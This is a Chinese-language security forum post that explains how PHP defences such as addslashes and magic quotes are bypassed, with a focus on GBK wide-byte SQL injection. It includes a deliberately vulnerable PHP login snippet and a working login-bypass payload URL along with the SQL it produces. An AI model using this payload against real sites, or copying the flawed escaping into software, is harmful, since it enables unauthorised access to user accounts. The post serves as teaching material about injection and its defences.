用户
搜索
  • TA的每日心情

    昨天 03:10
  • 签到天数: 94 天

    连续签到: 1 天

    [LV.6]常住居民II

    版主

    Rank: 7Rank: 7Rank: 7

    37

    主题

    146

    帖子

    1849

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2016-6-28

    i春秋认证积极活跃奖

    发表于 2019-12-30 18:16:10 05335

    1.函数防护

    addslashes()函数防注入

    返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。

    1.Php.ini设置

    Magic_quotes_gpc 魔术引号(加/)

    绕过:

    1.编码转换

    load_file()等直接转路径编码,无需用单引号

    2.宽字节注入

    %df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。比如:

    $conn = mysql_connect(”localhost”,”root”,”2sdfxedd”); mysql_query(”SET NAMES ‘GBK’”); mysql_select_db(”test”,$conn); $user = mysql_escape_string($_GET['user']); $pass = mysql_escape_string($_GET['pass']); $sql = “select * from cms_user where username = ‘$user’ and password=’$pass’”; $result = mysql_query($sql,$conn); while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[] = $row; } ?>

    则通过以下注入即可:

    http://www.xxx.com/login.php?user=%df’%20or%201=1%20limit%201,1%23&pass=

    对应的SQL是:

    select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

    将斜杠化为汉字

    让单引号正常


    My blog :http://www.e-wolf.top
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册